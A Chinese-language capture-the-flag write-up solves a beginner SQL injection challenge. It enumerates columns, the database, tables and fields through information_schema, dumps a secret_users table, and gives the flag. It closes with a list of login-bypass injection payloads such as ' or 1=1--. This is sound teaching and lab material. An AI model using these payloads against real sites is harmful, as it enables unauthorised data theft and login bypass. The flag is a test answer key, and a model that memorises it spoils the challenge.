SQL 注入入门

Web7-1 SQL入门

查看网页源码

其中 fetch('index.php?sql=SELECT%20*%20FROM%20users')表示通过 fetch API 向服务器的 index.php 发送请求,请求参数中包含了 URL 编码后的 SQL 查询语句。
提示我们可以对 index.php 进行 sql 注入,

本题是数字型注入,还有一种注入是字符型注入。

数字型语句:select * from users where id=3
则字符型如下:select * from users where name=’admin’

查列名:

select * from users where id=1--
select * from users where id=1 order by 1--
select * from users where id=1 order by 3--

但是当改为 order by 4 时,界面无内容,说明只有三个字段(三列)。

查数据库名:

select database();

查到数据库名为 ctf ,

查表名:

select table_name from information_schema.tables where table_schema=database();

select table_schema, table_name from information_schema.tables where table_schema!='information_schema' and table_schema!='mysql';

或者使用

select table_schema, table_name from information_schema.tables where table_schema!='information_schema' and table_schema='ctf';

可以看到查询表结构查到一个表名 secret_users ,直接查这个表名全部信息(用 * 不指定这个表所含字段,在没有查到这个表所含字段情况下,或者跳过查询这个表的字段情况下):

select * from secret_users

拿到 flag : flag{2cc15fdb-eebe-4690-b60c-86e8f84e420c}

或者得到 secret_users 这个表名后查询它所含有的所有列名/字段名

select group_concat(column_name) from information_schema.columns where table_name = 'secret_users'

得到三个列名/字段:id,username,motto (其实前面 html 源码提示我们对 index.php 进行 sql 注入时已经告知了三个字段,在得知隐藏表名 secret_users 后就可以直接爆这个表的相应字段数据了)

爆相应字段的数据:

#只需指定表名和字段名
select 1,2,group_concat(`id`,':',`username`,':',`motto`) from secret_users --+
#字段值不加反引号也可以
select 1,2,group_concat(id,':',username,':',motto) from secret_users --+
#只爆出指定的 secret_username 表的三个字段
select group_concat(id,':',username,':',motto) from secret_users 

后台万能密码

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

参考:

SQL 注入 – CTF Wiki

SQL注入学习教程(非常详细),从入门到精通收藏这一篇就够了_sql注入教程-CSDN博客

上一篇
下一篇